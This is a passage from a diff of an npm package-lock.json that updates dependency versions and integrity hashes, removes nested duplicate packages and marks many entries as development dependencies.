"util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", @@ -5602,15 +4685,16 @@ } }, "core-js-pure": { - "version": "3.17.3", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.17.3.tgz", - "integrity": "sha512-YusrqwiOTTn8058JDa0cv9unbXdIiIgcgI9gXso0ey4WgkFLd3lYlV9rp9n7nDCsYxXsMDTjA4m1h3T348mdlQ==", + "version": "3.18.0", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.0.tgz", + "integrity": "sha512-ZnK+9vyuMhKulIGqT/7RHGRok8RtkHMEX/BGPHkHx+ouDkq+MUvf9mfIgdqhpmPDu8+V5UtRn/CbCRc9I4lX4w==", "dev": true }, "core-util-is": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true }, "cosmiconfig": { "version": "7.0.1", @@ -5632,14 +4716,6 @@ "dev": true, "requires": { "node-fetch": "2.6.1" - }, - "dependencies": { - "node-fetch": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", - "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", - "dev": true - } } }, "cross-spawn": { @@ -5656,12 +4732,8 @@ "crypt": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", - "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=" - }, - "cryptojslib": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/cryptojslib/-/cryptojslib-3.1.2.tgz", - "integrity": "sha1-aEbccl6lCKhqwMnEQc0uyUTe82Y=" + "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", + "dev": true }, "dargs": { "version": "7.0.0", @@ -5751,16 +4823,10 @@ "version": "5.3.0", "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-5.3.0.tgz", "integrity": "sha512-a59VOT+oDy7vtAbLRCZwWgxu2BaCfd5Hk7wxJd48ei7I+nsg8Orlb9CLG0PMZienk9BSUKgeAqkO2+Lw+1+Ukw==", + "dev": true, "requires": { "abstract-leveldown": "~6.2.1", "inherits": "^2.0.3" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } } }, "define-lazy-prop": { @@ -5781,7 +4847,8 @@ "defined": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", - "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=" + "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", + "dev": true }, "delegates": { "version": "1.0.0", @@ -5811,6 +4878,7 @@ "version": "4.7.1", "resolved": "https://registry.npmjs.org/detective/-/detective-4.7.1.tgz", "integrity": "sha512-H6PmeeUcZloWtdt4DAkFyzFL94arpHr3NOwwmVILFiy+9Qd4JTxxXrzfyGk/lmct2qVGBwTSwSXagqu2BxmWig==", + "dev": true, "requires": { "acorn": "^5.2.1", "defined": "^1.0.0" @@ -5900,9 +4968,9 @@ } }, "dompurify": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.3.1.tgz", - "integrity": "sha512-xGWt+NHAQS+4tpgbOAI08yxW0Pr256Gu/FNE2frZVTbgrBUn8M7tz7/ktS/LZ2MHeGqz6topj0/xY+y8R5FBFw==" + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.3.3.tgz", + "integrity": "sha512-dqnqRkPMAjOZE0FogZ+ceJNM2dZ3V/yNOuFB7+39qpO93hHhfRpHw3heYQC7DPK9FqbQTfBKUJhiSfz4MvXYwg==" }, "domutils": { "version": "2.8.0", @@ -5927,7 +4995,8 @@ "double-ended-queue": { "version": "2.1.0-0", "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz", - "integrity": "sha1-ED01J/0xUo9AGIEwyEHv3XgmTlw=" + "integrity": "sha1-ED01J/0xUo9AGIEwyEHv3XgmTlw=", + "dev": true }, "ee-first": { "version": "1.1.1", @@ -5957,18 +5026,12 @@ "version": "6.3.0", "resolved": "https://registry.npmjs.org/encoding-down/-/encoding-down-6.3.0.tgz", "integrity": "sha512-QKrV0iKR6MZVJV08QY0wp1e7vF6QbhnbQhb07bwpEyuz4uZiZgPlEGdkCROuFkUwdxlFaiPIhjyarH1ee/3vhw==", + "dev": true, "requires": { "abstract-leveldown": "^6.2.1", "inherits": "^2.0.3", "level-codec": "^9.0.0", "level-errors": "^2.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } } }, "end-of-stream": { @@ -5984,6 +5047,7 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/end-stream/-/end-stream-0.1.0.tgz", "integrity": "sha1-MgA/P0OKKwFDFoE3+PpumGbIHtU=", + "dev": true, "requires": { "write-stream": "~0.4.3" } @@ -6007,6 +5071,7 @@ "version": "0.1.8", "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, "requires": { "prr": "~1.0.1" } @@ -6061,9 +5126,9 @@ } }, "es-module-lexer": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.7.1.tgz", - "integrity": "sha512-MgtWFl5No+4S3TmhDmCz2ObFGm6lEpTnzbQi+Dd+pw4mlTIZTmM2iAs5gRlmx5zS9luzobCSBSI90JM/1/JgOw==", + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.0.tgz", + "integrity": "sha512-qU2eN/XHsrl3E4y7mK1wdWnyy5c8gXtCbfP6Xcsemm7fPUR1PIV1JhZfP7ojcN0Fzp69CfrS3u76h2tusvfKiQ==", "dev": true }, "es-to-primitive": { @@ -6081,6 +5146,7 @@ "version": "0.2.2", "resolved": "https://registry.npmjs.org/es3ify/-/es3ify-0.2.2.tgz", "integrity": "sha1-Xa4+ZQ5b42hLiAZlE9Uo0JJimGI=", + "dev": true, "requires": { "esprima": "^2.7.1", "jstransform": "~11.0.0", @@ -6162,40 +5228,6 @@ "@babel/highlight": "^7.10.4" } }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", @@ -6216,15 +5248,6 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } } } }, @@ -6300,32 +5323,12 @@ } }, "eslint-plugin-html": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.1.2.tgz", - "integrity": "sha512-bhBIRyZFqI4EoF12lGDHAmgfff8eLXx6R52/K3ESQhsxzCzIE6hdebS7Py651f7U3RBotqroUnC3L29bR7qJWQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.2.0.tgz", + "integrity": "sha512-vi3NW0E8AJombTvt8beMwkL1R/fdRWl4QSNRNMhVQKWm36/X0KF0unGNAY4mqUF06mnwVWZcIcerrCnfn9025g==", "dev": true, "requires": { - "htmlparser2": "^6.0.1" - }, - "dependencies": { - "entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", - "dev": true - }, - "htmlparser2": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", - "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", - "dev": true, - "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", - "domutils": "^2.5.2", - "entities": "^2.0.0" - } - } + "htmlparser2": "^7.1.2" } }, "eslint-plugin-import": { @@ -6522,9 +5525,9 @@ "dev": true }, "eslint-plugin-wc": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-wc/-/eslint-plugin-wc-1.3.1.tgz", - "integrity": "sha512-2y+ezPwKFm470Pq2dvdkHXEjzCSqo6B2Iqh9gJQFGXs1kvvcYXR+gDvJNICI68utlszVUakt0DYG83uzJnfCKg==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-wc/-/eslint-plugin-wc-1.3.2.tgz", + "integrity": "sha512-/Tt3kIXBp1jh06xYtRqPwAvpNxVVk9YtbcFCKEgLa5l3GY+urZyn376pISaaZxkm9HVD3AIPOF5i9/uFwyF0Zw==", "dev": true, "requires": { "is-valid-element-name": "^1.0.0", @@ -6573,7 +5576,8 @@ "esmangle-evaluator": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/esmangle-evaluator/-/esmangle-evaluator-1.0.1.tgz", - "integrity": "sha1-Yg2GbvSGGzMR91dm1SqFcrs8YzY=" + "integrity": "sha1-Yg2GbvSGGzMR91dm1SqFcrs8YzY=", + "dev": true }, "espree": { "version": "7.3.1", @@ -6603,7 +5607,8 @@ "esprima": { "version": "2.7.3", "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", - "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=" + "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", + "dev": true }, "esquery": { "version": "1.4.0", @@ -6666,7 +5671,8 @@ "event-target-shim": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", - "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==" + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "dev": true }, "execa": { "version": "5.1.1", @@ -6727,6 +5733,7 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/falafel/-/falafel-1.2.0.tgz", "integrity": "sha1-wY0k71CRF0pJfzGM0ksCaiXN2rQ=", + "dev": true, "requires": { "acorn": "^1.0.3", "foreach": "^2.0.5", @@ -6737,7 +5744,14 @@ "acorn": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/acorn/-/acorn-1.2.2.tgz", - "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ=" + "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ=", + "dev": true + }, + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true } } }, @@ -6772,16 +5786,10 @@ "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, - "fast-safe-stringify": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", - "dev": true - }, "fastq": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.12.0.tgz", - "integrity": "sha512-VNX0QkHK3RsXVKr9KrlUv/FoTa0NdbYoHHl7uXHv2rzyHSlxjdNAKug2twd9luJxpcyNeAgf5iPPMutJO67Dfg==", + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", "dev": true, "requires": { "reusify": "^1.0.4" @@ -6806,17 +5814,19 @@ "version": "0.10.1", "resolved": "https://registry.npmjs.org/fetch-cookie/-/fetch-cookie-0.10.1.tgz", "integrity": "sha512-beB+VEd4cNeVG1PY+ee74+PkuCQnik78pgLi5Ah/7qdUfov8IctU0vLUbBT8/10Ma5GMBeI4wtxhGrEfKNYs2g==", + "dev": true, "requires": { "tough-cookie": "^2.3.3 || ^3.0.1 || ^4.0.0" } }, "fetch-sparql-endpoint": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/fetch-sparql-endpoint/-/fetch-sparql-endpoint-2.3.1.tgz", - "integrity": "sha512-YGH73cbwkvj5g6A9CzIson5OFHql+leiW4b4ApdTQkzJIqzljAFBuWBKDEUmAbETqlWhY3poVj1jNEuIsnggTw==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fetch-sparql-endpoint/-/fetch-sparql-endpoint-2.3.2.tgz", + "integrity": "sha512-xKUdRDxmmpVYYFoN6XLK04E3wyDMtRKw2ny2d12ASkGiVqdRIMV1aHxG188cW3pi4/4W/ow5D6c7W62Z9rlwxQ==", "dev": true, "requires": { "@rdfjs/types": "*", + "@types/readable-stream": "^2.3.11", "@types/sparqljs": "^3.1.3", "abort-controller": "^3.0.0", "cross-fetch": "^3.0.6", @@ -6824,11 +5834,11 @@ "minimist": "^1.2.0", "n3": "^1.6.3", "rdf-string": "^1.6.0", + "readable-web-to-node-stream": "^3.0.2", "sparqljs": "^3.1.2", "sparqljson-parse": "^1.7.0", "sparqlxml-parse": "^1.5.0", - "stream-to-string": "^1.1.0", - "web-streams-node": "^0.4.0" + "stream-to-string": "^1.1.0" } }, "file-entry-cache": { @@ -6908,15 +5918,16 @@ "dev": true }, "follow-redirects": { - "version": "1.14.3", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", - "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==", + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.4.tgz", + "integrity": "sha512-zwGkiSXC1MUJG/qmeIFH2HBJx9u0V46QGUe3YR1fXG8bXQxq7fLj0RjLZQ5nubr9qNJUZrH+xUcwXEoXNpfS+g==", "dev": true }, "foreach": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" + "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=", + "dev": true }, "fresh": { "version": "0.5.2", @@ -6939,14 +5950,6 @@ "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" - }, - "dependencies": { - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "fs.realpath": { @@ -7032,32 +6035,6 @@ "through2": "^4.0.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", @@ -7073,6 +6050,7 @@ "version": "5.0.15", "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", + "dev": true, "requires": { "inflight": "^1.0.4", "inherits": "2", @@ -7141,12 +6119,13 @@ "graceful-fs": { "version": "4.2.8", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", + "dev": true }, "graphql": { - "version": "15.5.3", - "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.5.3.tgz", - "integrity": "sha512-sM+jXaO5KinTui6lbK/7b7H/Knj9BpjGxZ+Ki35v7YbUJxxdBCUqNM0h3CRVU1ZF9t5lNiBzvBCSYPvIwxPOQA==", + "version": "15.6.0", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.6.0.tgz", + "integrity": "sha512-WJR872Zlc9hckiEPhXgyUftXH48jp2EjO5tgBBOyNMRJZ9fviL2mJBD6CAysk6N5S0r9BTs09Qk39nnJBkvOXQ==", "dev": true }, "graphql-ld": { @@ -7203,11 +6182,6 @@ "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", "dev": true }, - "has-color": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/has-color/-/has-color-0.1.7.tgz", - "integrity": "sha1-ZxRKUmDDT8PMpnfQQdr1L+e3iy8=" - }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -7218,6 +6192,7 @@ "version": "3.2.0", "resolved": "https://registry.npmjs.org/has-own-property-x/-/has-own-property-x-3.2.0.tgz", "integrity": "sha512-HtRQTYpRFz/YVaQ7jh2mU5iorMAxFcML9FNOLMI1f8VNJ2K0hpOlXoi1a+nmVl6oUcGnhd6zYOFAVe7NUFStyQ==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "to-object-x": "^1.5.0", @@ -7227,17 +6202,20 @@ "has-symbol-support-x": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", - "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==", + "dev": true }, "has-symbols": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true }, "has-to-string-tag-x": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "dev": true, "requires": { "has-symbol-support-x": "^1.4.1" } @@ -7246,6 +6224,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, "requires": { "has-symbols": "^1.0.2" } @@ -7255,17 +6234,9 @@ "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", "dev": true, - "requires": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - } + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" } }, "he": { @@ -7290,13 +6261,13 @@ "dev": true }, "htmlparser2": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.1.tgz", - "integrity": "sha512-hZb0lfG0hbhR/hB879zbBr8Opv0Be9Zp+JYHgqTw5epF++aotu/zmMTPLy/60iJyR1MaD/3pYRp7xYteXsZMEA==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.2.tgz", + "integrity": "sha512-d6cqsbJba2nRdg8WW2okyD4ceonFHn9jLFxhwlNcLhQWcFPdxXeJulgOLjLKtAK9T6ahd+GQNZwG9fjmGW7lyg==", "dev": true, "requires": { "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", + "domhandler": "^4.2.2", "domutils": "^2.8.0", "entities": "^3.0.1" } @@ -7329,12 +6300,6 @@ "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", "dev": true - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true } } }, @@ -7387,6 +6352,7 @@ "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } @@ -7394,7 +6360,8 @@ "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true }, "ignore": { "version": "4.0.6", @@ -7405,7 +6372,8 @@ "immediate": { "version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=" + "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=", + "dev": true }, "immutable": { "version": "3.8.2", @@ -7446,7 +6414,8 @@ "infinity-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/infinity-x/-/infinity-x-1.0.2.tgz", - "integrity": "sha512-2Ioz+exrAwlHxFBaDHQIbvUyjKFt0YjIal34/agfzx738aT1zBQwSU5A8Zgb1IQ2r24BtXrkeZZusxE40MyZaQ==" + "integrity": "sha512-2Ioz+exrAwlHxFBaDHQIbvUyjKFt0YjIal34/agfzx738aT1zBQwSU5A8Zgb1IQ2r24BtXrkeZZusxE40MyZaQ==", + "dev": true }, "inflation": { "version": "2.0.0", @@ -7458,15 +6427,17 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" } }, "inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true }, "ini": { "version": "1.3.8", @@ -7478,6 +6449,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/inline-process-browser/-/inline-process-browser-1.0.0.tgz", "integrity": "sha1-RqYbFT3TybFiSxoAYm7bT39BTyI=", + "dev": true, "requires": { "falafel": "^1.0.1", "through2": "^0.6.5" @@ -7510,6 +6482,7 @@ "version": "1.7.0", "resolved": 